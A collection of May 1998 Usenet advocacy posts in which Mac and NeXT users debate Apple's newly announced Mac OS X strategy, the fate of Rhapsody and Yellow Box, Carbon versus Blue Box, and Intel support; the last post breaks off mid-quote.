Please change your posting name Polly. It detracts from an otherwise
excellent posting.
The artist formally known as P.V.B. can attest to this.
Edwin
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:14:15 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981314150001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <andyba-ya02408000R1305981710210001@news>
In article <andyba-ya02408000R1305981710210001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
> "Late" according to what standard? Before this week, Apple NEVER promised
> or scheduled a date when a modern OS would be available that would run
> legacy apps with full compatibility. Even Rhapsody would have run them in a
> blue box, keeping them from using modern OS features. So, by the schedule
> that Apple just announced, Mac OS X is exactly on time.
Apple promised a January 98 release of Rhapsody to the general public.
They did not meet that deadline. You can argue that they've been adding
new features, but the bottom line is they told us they would ship us an OS
in January and they did not.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 10:19:19 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1405981019190001@sf-usr1-11-139.dialup.slip.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <355B1CB1.741AE5D@nospam.com>
In article <355B1CB1.741AE5D@nospam.com>, Tim Triemstra
<nospam@nospam.com> wrote:
> Michel Coste wrote:
> >
> > This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
> > (<zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>) by Rex Riley:
> >
> > > You obviously haven't been around the Steve long enough to appreciate the
> > > comment. Let me phrase this as concise as possible. Developers just went
> > > from a compile once - deploy elsewhere to a compile once - deploy once.
> > >
> >
> > Where have you seen that MacOSX won't be deployed _somewhere_ else?
> >
> > The fact that it is not written or said doesn't mean it won't happen...
>
> I have read articles on both Inforworld electric and on PC Week online
> that quote Apple managers as sepcifically stating that Mac OS X and
> Carbon _will not_ be ported to Intel. One quote mentioned that they
> would re-evaluate once Merced is shipping.
Running the Mac OS on Wintel makes ZERO sense. Rhapsody, on the other
hand, is another story. Mac Apps were never intended to run on Rhapsody/
Intel (No Blue-Box), but OSX is primarily designed to run Mac Apps. To
do so on two disparate platforms is just needlessly complicating the
issue.
George Graves
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 11:22:20 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B1A3C.5955AED1@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104>
Mime-Version: 1.0
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Eric Bennett wrote:
> The death of YB as a cross-platform solution. If Apple were going to
> announce long-term YB Windows support or long-term Rhapsody/Intel support,
> I think they would have announced it at WWDC. They did not. Read between
> the lines. What does this tell you?
The party is NOT over yet.
Now, I asked about YellowBox on NT 5.x/98 5-7 months ago. And, when WWDC was
ramping up, the ProNeXT people said 'wait for WWDC, it will tell all'.
WWDC isn't over yet....but when it is, and there is no NT 5.x announcement,
the cross-platform YellowBox will be a promise that Apple has no intention of
supporting it in the long-term.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:33:43 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981233430001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <6jcm9j$1cc$28@ironhorse.plsys.co.uk>
In article <6jcm9j$1cc$28@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> Even if it is true that MacOS X won't run on Intel, it does not mean that
> "Mac OS X is Rhapsody renamed" is anything like a half-truth. Something
> closer to 99.9% true would be about right.
>
> mmalc.
I think you should subtract a higher percentage than that for loss of x86
compatibility. Use of QuickDraw in MacOS X is also--to borrow from
someone else's similar reaction--nauseating.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
MIME-Version: 1.0
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References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com>
<ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com>
<see-below-1205981903320001@209.24.240.213> <3559033D.89CD88D5@milestonerdl.com>
<2s961.2078$sy4.3718097@news.rdc1.sdca.home.com> <rmcassid-1205982334360001@dialin33423.slip.uci.edu>
Message-ID: <B2F61.94$3%1.328700@news.rdc1.sdca.home.com>
Date: Thu, 14 May 1998 16:34:41 GMT
NNTP-Posting-Date: Thu, 14 May 1998 09:34:41 PDT
Organization: @Home Network
In <rmcassid-1205982334360001@dialin33423.slip.uci.edu> Robert Cassidy wrote:
> In article <2s961.2078$sy4.3718097@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com wrote:
>
> > I've learned abit in the last 4 hours on Apple's software strategy. The
> > product roadmap changes are healthier. I'll share my reasons:
>
> How clear/reliable was this information?
>
We'll see...
> > Rhapsody, BSDstyle, is staying as Apple's "multi-user" server product.
> > Rhapsody,Macstyle, is Apple's single-user desktop called MacOS X.
>
> So Steve then gives us 3 OS's - Rhapsody, OSX, and OS8.
[snip good comment]
> The notion that MacOS X is MacOS on Mach seems clearly wrong. MacOS on
> Mach == Copland. We all know that aint gonna happen. Everything in
> OpenStep reeked of good design - Copland had a whole other aroma...
>
This is what was said but it is flying in the face of opposite reports...
-r
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Thu, 14 May 1998 09:27:58 -0700
Organization: Trilithon Research and Trading
Message-ID: <355B1B8E.A6D5B0E6@trilithon.com>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <slrn6lev9v.4k9.sal@panix3.panix.com> <rmcassid-1105981604220001@dante.eng.uci.edu> <slrn6lfjer.l9u.sal@panix3.panix.com> <rmcassid-1105982343080001@dialin33418.slip.uci.edu> <6j9one$h2q$1@sun27.hrz.tu-darmstadt.de> <6jchfe$1cc$20@ironhorse.plsys.co.uk> <6jcv10$674$1@nnrp1.dejanews.com> <6jek2m$fqr$1@sun27.hrz.tu-darmstadt.de>
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Christian Neuss wrote:
* A great ad. I always wanted it framed, but didn't
* want to take apart the copy of NeXTworld it was in.
* I've heard there were T-shirts that just said "Yes,
* it will", but I've never seen one.
Yep --- I think I have one around here somewhere.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 17:33:06 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6jf9si$qns@newsb.netnews.att.com>
References: <ericb-1105981718430001@132.236.171.104> <6jbrd7$1cc$13@ironhorse.plsys.co.uk> <6jcjs4$6ns$1@msunews.cl.msu.edu> <6jcvhs$70i$1@nnrp1.dejanews.com>
Originator: gupta@tlctest
<spagiola@my-dejanews.com> wrote:
>
>Carbon lets any Mac apps that have been "tuned" run outside the Blue Box, on
>the same level as Yellow Box apps. Carbon apps would enjoy the advantages of
>both protected memory and pre-emptive multitasking. So yes, Carbon is a
>substantially better solution that Blue Box. The price, of course, is that you
>have to re-write part of the app to make sure it conforms to Carbon; that
>wasn't necessary for Mac apps to run under Blue Box.
Moreover, the Yellow Box should be available (Rhapsody CR1) one year
ahead of Carbon. This is the window of opportunity for a small
development house to overtake the Adobes and Microsofts
which will move to Carbon, and not adopt the Yellow Box.
-arun gupta
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 10:45:11 -0600
Organization: Netcom
Message-ID: <fretwiz-1405981045110001@den-co51-31.ix.netcom.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <rmcassid-1305981155390001@dante.eng.uci.edu>
In article <rmcassid-1305981155390001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> Actually, I swear I saw Phil Schiller mention that MacOS X would not be
> cross platform in a MacWeek interview, but now I can't find it. Hmm.
> Sum'ns fishy...
Seems I read this too.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:47:49 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981247490001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <mcasse-2708561359510001@line8047.ras.ilstu.edu>
In article <mcasse-2708561359510001@line8047.ras.ilstu.edu>,
mcasse@rs6000.cmp.ilstu.edu (Matt Casselman) wrote:
> MacOS will have TWO, count them two, APIs: Carbon (MacOS) and Yellow Box
> (NeXT). MacOS X is macOS on Mach.
Three! The MacOS 8 APIs will still work too!
Wow, this is starting to sound bloated...
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
Message-ID: <355B2F43.D365D2F1@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu>
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Date: Thu, 14 May 1998 17:48:46 GMT
NNTP-Posting-Date: Thu, 14 May 1998 13:48:46 EDT
Pulsar wrote:
>
> Well, duh. Do you seriously believe that Rhapsody was going to replace the
> Mac OS immediately and completely? Most Mac OS developers don't want this
> to be the case and a lot of Mac users don't want this to be the case.
> Rhapsody will just not be a suitable replacement as it starts out. There
> will be a significant market for it, but that market is _not_ all Mac
> users. That will become possible as Mac OS and Rhapsody are merged later in
> Mac OS X.
With a fully functional, working blue box environment as originally
described by Apple, there would have been no reason on earth why
Rhapsody *couldn't* have done exactly that. That's the purpose of the
18-month delay and Carbon....blue box couldn't be made to perform as
originally advertised.
>
> That way he didn't scare those faithful to the Mac OS away. There is a lot
> of power in a name. With the focus on Mac OS X's backwards compatibility,
> Apple assuaged fears that all the investment in the current Mac OS would be
> lost.
At least you admit to the PR core of this whole thing....
>
> Not at all. Rhapsody will be available in Q3 '98. Those people will have an
> OS to run their products on. I will very probably be buying a few of those
> products. There will likely be a bigger market than there was for NeXT, but
> it will not (initially) be as large as the current Mac OS. There is no
> getting around that.
Oh, sure. It's all so simple. Apple is now on a TRI-OS strategy, and
that's just so simple and straightforward for everyone--MAC OS
8/8.1/8.5, etc., Rhapsody, and now Mac OS 10 which will be significantly
different from both. Yes, it's such a simple, easy-to-follow strategy
that developers will be thrilled over it....
>
> I never said it was a reason for developers to stand and cheer. I said that
> it is a reason for developers not to panic and leave the platform entirely.
> There is quite a difference.
What reason? That Apple *said* "hang in there for a couple more years
until we figure out what we *really* can do?" I don't see much reason
there, myself.
>
> There _will_ be a Rhapsody 1.0 though. It is going to be released (by
> Apple's claims) this year.
But Jobs has already *killed* whatever impact the release of Rhapsody
might have had by this Mac OS 10 stunt. Notice Jobs said *nothing* about
any future at all for Rhapsody past 1.0. That hardly will engender
anyone's confidence to do much of anything with Rhapsody when it *is*
released.
>
> I think few people really understood why Rhapsody was so compelling. Those
> who already had a large investment in Mac OS code couldn't figure out why
> they should go to the work to rewrite everything for the Yellow Box. Apple
> is providing a solution. Those who believe Rhapsody to be compelling will
> be satasfied by the release of Rhapsody and even more so when it moves into
> the mainstream as Mac OS X.
Had blue box worked as advertised, there wouldn't have been a problem
with legacy applications. You don't think applications will have to be
rewritten to run in the optimum OS 10 environment as Jobs has theorized
it? Of course they will. The "tweaking" only refers to legacy aps--new
aps will have to be rewritten to run on Mac OS 10....
>
> Actually, the RDF was working full force. It was doing so quite succesfully.
I'm reading a lot of comments here from people aside from myself which
indicate that the RDF is buckling and developing cracks if not
chasms....People just get tired of being led endlessly around the bush.
>
> Yes, but there will be Rhapsody in the mean time.
As I say, when Rhapsody is released it will come with a whimper, thanks
to Jobs' Mac OS 10 stunt.
>When Mac OS X rolls
> around, it will stand as a _replacement_ for the Mac OS, but will _look_
> like a simple enhancement and extension of the Mac OS. Few people seemed to
> catch on that Mac OS X is basically just Rhapsody. They were cought by all
> the focus on backwards compatibility and the deliberate lack of focus on
> the Yellow Box and such. As I've said before, Apple didn't announce the end
> of Rhapsody, but actually announced the end of the Mac OS!
The problem with all of that is that it is pure theory. We have yet to
see the reality of it.
>
> Right. That's why Rhapsody DR2 is available _now_ to developers and why
> Rhapsody 1.0 will be available soon for everybody who wants it.
Jobs has made sure that few people will want it, now.
Message-ID: <355B338C.8A90A5C5@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
<6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <6jd1s0$5nv$2@msunews.cl.msu.edu>
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Date: Thu, 14 May 1998 18:06:49 GMT
NNTP-Posting-Date: Thu, 14 May 1998 14:06:49 EDT
spammers@ruin.the.internet.channelu.com wrote:
>
> YB is going no-where? Read this: IT IS THE CORE OF APPLE's
> TECHNOLOGY. If you code there you'll be fine as long as
> Apple is around. If they screw that up then you can moan
> and groan. Frankly I'll be trying to code in such a way as
> to isolate GUI from the guts JIC (if I start coding for YB).
I never said that YB is "going nowhere." What I said is that it will
*definitely* go nowhere *if* is is perpetually 18 months out. That seems
like no more than common sense.
Message-ID: <355B365F.929E049D@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <3559EA9E.3FD91406@spamtoNull.com> <B17F491A-9B67B@207.217.155.161>
Content-Type: text/plain; charset=us-ascii
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Date: Thu, 14 May 1998 18:18:58 GMT
NNTP-Posting-Date: Thu, 14 May 1998 14:18:58 EDT
Brad Hutchings wrote:
>
> Jonathan Harker wrote:
>
> >Ah, if only Apple could have actually *done* a competent Blue Box, the
> >problem of developer support would have been nil since existing
> >applications would have run under Rhapsody.
>
> This is total BS. Apple did do a very competent Blue Box, and it had
> certain performance characteristics which would have made it worth a
> double-boot for many users.
>
> The issue was that Blue Box apps would not run as first class citizens in
> the Rhapsody environment. Additionally, there were issues about IP address
> sharing, Apple Events, hardware access,...
Where's the BS? Admittedly, your definition of "competent" and mine may
be very different, but I would hardly call the "issues" you've briefly
mentioned to be no more than inconsequential annoyances, which is what
you seem to be implying.
>
> The Carbon shared library will make Carbonized apps (many apps may already
> be Carbonized and ready to go, believe it or not) first class citizens in
> MacOSX.
>
> Then, for new applications, developers can evaluate YellowBox and Carbon
> APIs for the APIs themselves instead of worrying about deployment issues.
>
To me, a "competent" blue box would definitely have solved deployment
issues as effectively as the new theoretical Carbon scheme is projected
to solve them. The fact that it didn't is testament that it didn't work
as *it should* have worked. If it had, there'd have been no need for the
Carbon approach. Obviously, Apple discovered blue box wasn't what they
needed *after* they'd spent considerable time and effort attmepting to
make it into what they needed. On the timeline of solutions to legacy
support, blue box came first, later *followed* by the Carbon approach.
I'm not saying that the carbon approach isn't "better"--only that it is
obviously better at doing the very things blue box was to have handled
most efficiently in the first place.
The real BS to me is that Apple took its sweet time in announcing Carbon
in the first place. Rhapsody could just as easily been carbonized as the
Q3 1999 Mac OS 10. If only Apple had thought of it sooner.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Thu, 14 May 1998 14:20:09 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981420100001@132.236.171.104>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us>
In article <6j8i0r$aq$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <MPG.fc18109c8dbd1a19896ae@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
>
> > It is much harder to justify 2 years, or even 6 months, to rewrite our
> > apps for Rhapsody. We will then have two completely separate code bases
>
> Why? Yellow on MacOS.
OS 8 isn't going to get Yellow, so it seems, and OS X won't run on the
vast majority of machines out there...
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 14:27:53 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfd39$79h$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <fretwiz-1405981054130001@den-co51-31.ix.netcom.com> <355B182B.36556DAC@milestonerdl.com> <fretwiz-1405981201030001@den-co51-31.ix.netcom.com>
In article <fretwiz-1405981201030001@den-co51-31.ix.netcom.com>, fretwiz@ix.netcom.com (fretwiz) wrote:
> In article <355B182B.36556DAC@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Seems that a future is in doubt.
> Maybe, maybe not...
> http://www.maccentral.com/news/9805/14.xfiles.shtml
Yellow Box for Windows is definitely going to stay around at least until
they stop bleeding developers and start growing their market
significantly; it's key to their developer strategy. An OS offering for
Intel is less certain, but I've seen nothing that implies that Apple has
decided to ditch it. My guess is that they'll sell it for a while and
see how it does, and then decide. There are people out there who have
existing Intel machines who would like to run a good Apple OS but are
not willing to (or not _able_ to, in many Intel-only businesses) buy a
new PowerMac to run it on. Intel is the conservative choice; "if this
MacOS/Rhapsody thing doesn't work out, we can always go back to Windows
without losing our hardware investment". (I know several friends who
think that way; they'll probably buy a Rhapsody-like OS on Intel if it's
offered, but they're not going to buy a whole new computer to run it!)
It remains to be seen whether there are enough interested parties to
justify an Intel offering. Probably Apple is going to wait for their
PPC offering to start to take off and see if the good reputation is
going to spill over onto Intel.
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Re: Pussy Puddles vs. Micro$loth
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Date: 14 May 1998 12:56:50 -0400
Organization: Interport Communications Corp.
Message-ID: <6jf7oi$5cc$1@interport.net>
References: <6j65u1$c04$1@news.orbitworld.net> <nYv61.155$Q22.1604745@newsread.com>
Nephilim (nephilim@hotmail.com) wrote:
: How many people do you HONESTLY know of that
: could run Unix? Those of us who can run Unix are the elite few.
Anyone who can make NT work reliably is more than skilled enough to work
Unix. In fact, they might be able to turn water into wine and heal the
sick.
--
Ben
<Just Another System Administrator>
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Thu, 14 May 1998 16:55:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jf7lp$l7n$1@nnrp1.dejanews.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5>
jkheit@xtdl.com wrote:
> Speaking of which...will any of this mean a damn if the rumor of
> YB not being free for developers on windows? Who is going to use
> it if dlls are not free?
It sounds like the run-time fees will be charged to developers, in which case
the customers won't see the run-time fee -- it'll be buried in the app price.
For small, cheap apps, this may cause problems, since it'll mean a large
percent increase in price, and hence a smaller potential market, but for
largish apps that sells for multi-hundred dollars, the difference will be
small. So it's by no means bleak. Sure, a zero run-time fee is better than a
non-zero one, but a small, hidden fee shouldn't be a show-stopper in most
cases. Even for smaller apps, there are work-arounds, such as bundling several
apps together to share the run-time fee, as mentioned earlier in this thread.
I think we all need to stop hoping for "perfect", which we'll never get
anyway, and focus on "good" vs "bad". After all, the alternative is using
Windows, and that definitely qualifies as "bad".
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:10:26 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981310260001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu> <6j83ou$fog$1@flotsam.uits.indiana.edu> <st942593-1205980048190001@129.64.124.199> <rmcassid-1105982346510001@dialin33418.slip.uci.edu> <6ja08e$rat$1@interport.net> <rmcassid-1205981451400001@dante.eng.uci.edu> <6jci6h$aep$1@interport.net>
In article <6jci6h$aep$1@interport.net>, float@interport.net wrote:
> Robert Cassidy (rmcassid@uci.edu) wrote:
>
> : Bolo is one of the most wonderful of games
>
> Hmm, some time when I have a free afternoon and feel like hacking, I'll
> see if I can get Executor running here.
>
> Nothing like running a Mac emulator for Linux on a FreeBSD box. ;-)
Bolo is rather pointless without networking. Executor doesn't support
networking, does it?
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 11:13:31 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B182B.36556DAC@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <fretwiz-1405981054130001@den-co51-31.ix.netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Funny:
From:
http://www.macnn.com/macnn/reality/archives/051198/news.shtml
(No word if Rhapsody Intel will be pushed as much)
Brett talked about support for
Rhapsody in the future on multiple architectures, but again, he too was
very vague on this subject and did not specifically mention
Intel. We believe Steve briefed these keynote speakers ahead of time, and
warned them to stay clear of the Intel situation since they
aren't quite secure in this area.
Brett Halle, Manager of the Core OS group
Seems that a future is in doubt.
fretwiz wrote:
> In article <ericb-1405981148530001@132.236.171.104>, ericb@pobox.com (Eric
> Bennett) wrote:
>
> > I am still unsure about what's going to happen to YB on Windows. Like
> > Rhapsody, certainly we'll see an initial release. But from what I've
> > heard, Apple said nothing more about YB/Windows that it did about
> > Rhapsody/x86, and we know where the latter is headed... to the scrap heap.
>
> I read YB for Windows will continue.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: 14 May 1998 14:39:24 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfdos$7au$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <EsvyKp.7tA@micmac.com> <see-below-1305981927430001@209.24.241.190> <355B18A1.E7370B93@nospam.com>
In article <355B18A1.E7370B93@nospam.com>, Tim Triemstra <nospam@nospam.com> wrote:
> Matthew Vaughan wrote:
> > This actually makes that part of their future much clearer - Rhapsody can
> > be made available on Intel without risk of existing Mac customers
> > switching, since it won't provide at all the same selection of
> > applications.
> It makes *everything* so much clearer since *noone* with switch to
> Rhapsody. It is a version of Unix for a company that has no Unix
> experience.
???! Not only does Apple have Unix experience (A/UX and AIX), but their
whole Rhapsody development team was taken from NeXT, with over a decade
of solid Unix experience. Their VP of Software Engineering is from NeXT.
> It has no applications and will likely not even exist in 3
> years since it will compete with Mac OS X and Apple's only priority
> right now seems to be to keep making Mac OS apps.
How would Rhapsody "compete" with MacOS X??? Either way, Apple makes
a sale -- and if they sold Rhapsody as a separate product, would probably
make a higher margin on it by charging more for it. Rhapsody applications
will run on MacOS X. MacOS X apps would probably run on Rhapsody as well;
the Carbon demo we saw was running on Rhapsody.
> The fact that
> Rhapsody apps can run in Mac OS X is like Win16 apps running under
> OS/2.
No, it's not even remotely similar!! Rhapsody apps running in MacOS X
are no different than Rhapsody apps running in Rhapsody, as far as I can
tell -- except maybe for the graphics model, I'm still not sure what's
up with that.
> They are claiming that Rhapsody is a server platform: where's the RAID
> support?
Good question. Have they had a filesystem discussion at WWDC? It looks
like Rhapsody will have HFS+, anything they do for the OS X filesystem
would probably translate. (As you may have noticed, OS X and Rhapsody
are basically the same thing.)
> Where's all the web servers?
Anything that runs on Unix should be portable to it.
> Where's the printer drivers?
I dunno. Do you have a list of the printer drivers that will ship with
Rhapsody? I'm sure they're doing plenty of driver development, and
again, any OS X driver will likely work on Rhapsody -- they're both
going through Mach/BSD!
Anyway, you usually don't do console printing from servers.
> What will it serve and who will choose it instead of NT or straight Unix
> when it isn't marketed as a client (thereby no apps)?
See above about Rhapsody<->OS X apps.
> I run NeXT in my
> office and it is a GREAT client. It does everything an NC is supposed
> to do. Yet they are "merging" it into Mac OS X and we'll never see
> decent Intel support.
Says who?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 14:42:16 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <355AEB93.4AC11DA3@milestonerdl.com>
In article <355AEB93.4AC11DA3@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <nagleEsxEDn.2M6@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> > > With Apple, the "feeling stupid" part comes after you learn the new
> > > API and Apple doesn't ship it. Look at the people who fell for
> > > OpenDoc, QuickDraw GX, Bedrock, Rhapsody, etc.
> > Clue: No one has learned the Rhapsody API (i.e., Yellow Box) only to
> > have Apple cancel it. YB is not cancelled.
> Another poster pointed this out in a nice article:
>
